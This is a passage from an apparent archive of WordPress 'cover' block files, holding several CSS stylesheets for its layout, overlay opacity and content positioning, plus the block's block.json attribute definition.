.wp-block-cover.is-position-center-right { align-items: center; justify-content: flex-end; } .wp-block-cover-image.is-position-bottom-left, .wp-block-cover.is-position-bottom-left { align-items: flex-end; justify-content: flex-start; } .wp-block-cover-image.is-position-bottom-center, .wp-block-cover.is-position-bottom-center { align-items: flex-end; justify-content: center; } .wp-block-cover-image.is-position-bottom-right, .wp-block-cover.is-position-bottom-right { align-items: flex-end; justify-content: flex-end; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container { margin: 0; width: auto; } .wp-block-cover-image img.wp-block-cover__image-background, .wp-block-cover-image video.wp-block-cover__video-background, .wp-block-cover img.wp-block-cover__image-background, .wp-block-cover video.wp-block-cover__video-background { position: absolute; top: 0; right: 0; left: 0; bottom: 0; margin: 0; padding: 0; width: 100%; height: 100%; max-width: none; max-height: none; -o-object-fit: cover; object-fit: cover; outline: none; border: none; box-shadow: none; } .wp-block-cover__video-background { z-index: 0; } .wp-block-cover__image-background { z-index: 0; } section.wp-block-cover-image h2, .wp-block-cover-image-text, .wp-block-cover-text { color: #fff; } section.wp-block-cover-image h2 a, section.wp-block-cover-image h2 a:hover, section.wp-block-cover-image h2 a:focus, section.wp-block-cover-image h2 a:active, .wp-block-cover-image-text a, .wp-block-cover-image-text a:hover, .wp-block-cover-image-text a:focus, .wp-block-cover-image-text a:active, .wp-block-cover-text a, .wp-block-cover-text a:hover, .wp-block-cover-text a:focus, .wp-block-cover-text a:active { color: #fff; } .wp-block-cover-image .wp-block-cover.has-left-content { justify-content: flex-start; } .wp-block-cover-image .wp-block-cover.has-right-content { justify-content: flex-end; } section.wp-block-cover-image.has-left-content > h2, .wp-block-cover-image.has-left-content .wp-block-cover-image-text, .wp-block-cover.has-left-content .wp-block-cover-text { margin-right: 0; text-align: right; } section.wp-block-cover-image.has-right-content > h2, .wp-block-cover-image.has-right-content .wp-block-cover-image-text, .wp-block-cover.has-right-content .wp-block-cover-text { margin-left: 0; text-align: left; } section.wp-block-cover-image > h2, .wp-block-cover-image .wp-block-cover-image-text, .wp-block-cover .wp-block-cover-text { font-size: 2em; line-height: 1.25; z-index: 1; margin-bottom: 0; max-width: 840px; padding: 0.44em; text-align: center; }blocks/cover/editor.min.css000064400000002711147177035020011730 0ustar00.editor-styles-wrapper .wp-block-cover{box-sizing:border-box}.wp-block-cover.is-placeholder{min-height:auto!important;padding:0!important}.wp-block-cover.is-placeholder .block-library-cover__resize-container{display:none}.wp-block-cover.is-placeholder .components-placeholder.is-large{min-height:240px;justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder .components-placeholder.is-large+.block-library-cover__resize-container{min-height:240px;display:block}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient:before{background-color:#fff;opacity:.3}.wp-block-cover .components-spinner{position:absolute;z-index:1;top:50%;left:50%;transform:translate(-50%,-50%);margin:0}.wp-block-cover .block-editor-block-list__layout{width:100%}.wp-block-cover .wp-block-cover__inner-container{text-align:left;margin-left:0;margin-right:0}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-left:auto}.block-library-cover__resize-container{position:absolute!important;top:0;left:0;right:0;bottom:0;min-height:50px}.block-library-cover__resize-container:not(.is-resizing){height:auto!important}.wp-block-cover>.components-drop-zone .components-drop-zone__content{opacity:.8!important}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}blocks/cover/block.json000064400000003424147177035020011135 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/cover", "title": "Cover", "category": "media", "description": "Add an image or video with a text overlay — great for headers.", "textdomain": "default", "attributes": { "url": { "type": "string" }, "useFeaturedImage": { "type": "boolean", "default": false }, "id": { "type": "number" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "" }, "hasParallax": { "type": "boolean", "default": false }, "isRepeated": { "type": "boolean", "default": false }, "dimRatio": { "type": "number", "default": 100 }, "overlayColor": { "type": "string" }, "customOverlayColor": { "type": "string" }, "backgroundType": { "type": "string", "default": "image" }, "focalPoint": { "type": "object" }, "minHeight": { "type": "number" }, "minHeightUnit": { "type": "string" }, "gradient": { "type": "string" }, "customGradient": { "type": "string" }, "contentPosition": { "type": "string" }, "isDark": { "type": "boolean", "default": true }, "allowedBlocks": { "type": "array" }, "templateLock": { "type": [ "string", "boolean" ], "enum": [ "all", "insert", false ] } }, "usesContext": [ "postId", "postType" ], "supports": { "anchor": true, "align": true, "html": false, "spacing": { "padding": true, "__experimentalDefaultControls": { "padding": true } }, "color": { "__experimentalDuotone": "> .wp-block-cover__image-background, > .wp-block-cover__video-background", "text": false, "background": false } }, "editorStyle": "wp-block-cover-editor", "style": "wp-block-cover" } blocks/cover/style-rtl.min.css000064400000040021147177035020012375 0ustar00.wp-block-cover,.wp-block-cover-image{position:relative;background-size:cover;background-position:50%;min-height:430px;width:100%;display:flex;justify-content:center;align-items:center;padding:1em;box-sizing:border-box}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:fixed}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]),.wp-block-cover .has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover-image .has-background-dim.has-background-gradient,.wp-block-cover .has-background-dim.has-background-gradient{background-color:transparent}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{content:"";background-color:inherit}.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim:not(.has-background-gradient):before,.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image .block-library-cover__padding-visualizer,.wp-block-cover .block-library-cover__padding-visualizer{z-index:2}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image:after,.wp-block-cover:after{display:block;content:"";font-size:0;min-height:inherit}@supports (position:sticky){.wp-block-cover-image:after,.wp-block-cover:after{content:none}}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover-image .wp-block-cover__inner-container,.wp-block-cover .wp-block-cover__inner-container{width:100%;z-index:1;color:#fff}.wp-block-cover-image.is-light .wp-block-cover__inner-container,.wp-block-cover.is-light .wp-block-cover__inner-container{color:#000}.wp-block-cover-image h1:not(.has-text-color),.wp-block-cover-image h2:not(.has-text-color),.wp-block-cover-image h3:not(.has-text-color),.wp-block-cover-image h4:not(.has-text-color),.wp-block-cover-image h5:not(.has-text-color),.wp-block-cover-image h6:not(.has-text-color),.wp-block-cover-image p:not(.has-text-color),.wp-block-cover h1:not(.has-text-color),.wp-block-cover h2:not(.has-text-color),.wp-block-cover h3:not(.has-text-color),.wp-block-cover h4:not(.has-text-color),.wp-block-cover h5:not(.has-text-color),.wp-block-cover h6:not(.has-text-color),.wp-block-cover p:not(.has-text-color){color:inherit}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover-image img.wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background,.wp-block-cover img.wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background{position:absolute;top:0;right:0;left:0;bottom:0;margin:0;padding:0;width:100%;height:100%;max-width:none;max-height:none;-o-object-fit:cover;object-fit:cover;outline:none;border:none;box-shadow:none}.wp-block-cover__image-background,.wp-block-cover__video-background{z-index:0}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-right:0;text-align:right}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-left:0;text-align:left}.wp-block-cover-image .wp-block-cover-image-text,.wp-block-cover .wp-block-cover-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;z-index:1;margin-bottom:0;max-width:840px;padding:.44em;text-align:center}blocks/cover/editor-rtl.min.css000064400000002713147177035020012531 0ustar00.editor-styles-wrapper .wp-block-cover{box-sizing:border-box}.wp-block-cover.is-placeholder{min-height:auto!important;padding:0!important}.wp-block-cover.is-placeholder .block-library-cover__resize-container{display:none}.wp-block-cover.is-placeholder .components-placeholder.is-large{min-height:240px;justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder .components-placeholder.is-large+.block-library-cover__resize-container{min-height:240px;display:block}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient:before{background-color:#fff;opacity:.3}.wp-block-cover .components-spinner{position:absolute;z-index:1;top:50%;right:50%;transform:translate(50%,-50%);margin:0}.wp-block-cover .block-editor-block-list__layout{width:100%}.wp-block-cover .wp-block-cover__inner-container{text-align:right;margin-right:0;margin-left:0}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-right:auto}.block-library-cover__resize-container{position:absolute!important;top:0;right:0;left:0;bottom:0;min-height:50px}.block-library-cover__resize-container:not(.is-resizing){height:auto!important}.wp-block-cover>.components-drop-zone .components-drop-zone__content{opacity:.8!important}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}blocks/cover/style.css000064400000045617147177035020011034 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-cover-image, .wp-block-cover { position: relative; background-size: cover; background-position: center center; min-height: 430px; width: 100%; display: flex; justify-content: center; align-items: center; padding: 1em; box-sizing: border-box; /** * Set a default background color for has-background-dim _unless_ it includes another * background-color class (e.g. has-green-background-color). The presence of another * background-color class implies that another style will provide the background color * for the overlay. * * See: * - Issue with background color specificity: https://github.com/WordPress/gutenberg/issues/26545 * - Issue with alternative fix: https://github.com/WordPress/gutenberg/issues/26545 */ } .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: fixed; } @supports (-webkit-touch-callout: inherit) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: scroll; } } @media (prefers-reduced-motion: reduce) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax { background-attachment: scroll; } } .wp-block-cover-image.is-repeated, .wp-block-cover.is-repeated { background-repeat: repeat; background-size: auto; } .wp-block-cover-image.has-background-dim:not([class*=-background-color]), .wp-block-cover-image .has-background-dim:not([class*=-background-color]), .wp-block-cover.has-background-dim:not([class*=-background-color]), .wp-block-cover .has-background-dim:not([class*=-background-color]) { background-color: #000; } .wp-block-cover-image .has-background-dim.has-background-gradient, .wp-block-cover .has-background-dim.has-background-gradient { background-color: transparent; } .wp-block-cover-image.has-background-dim::before, .wp-block-cover.has-background-dim::before { content: ""; background-color: inherit; } .wp-block-cover-image.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover-image .wp-block-cover__background, .wp-block-cover-image .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover .wp-block-cover__background, .wp-block-cover .wp-block-cover__gradient-background { position: absolute; top: 0; left: 0; bottom: 0; right: 0; z-index: 1; opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background { opacity: 0.1; } .wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background { opacity: 0.2; } .wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background { opacity: 0.3; } .wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background { opacity: 0.4; } .wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background { opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background { opacity: 0.6; } .wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background { opacity: 0.7; } .wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background { opacity: 0.8; } .wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background { opacity: 0.9; } .wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background { opacity: 1; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0 { opacity: 0; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10 { opacity: 0.1; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20 { opacity: 0.2; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30 { opacity: 0.3; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40 { opacity: 0.4; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50, 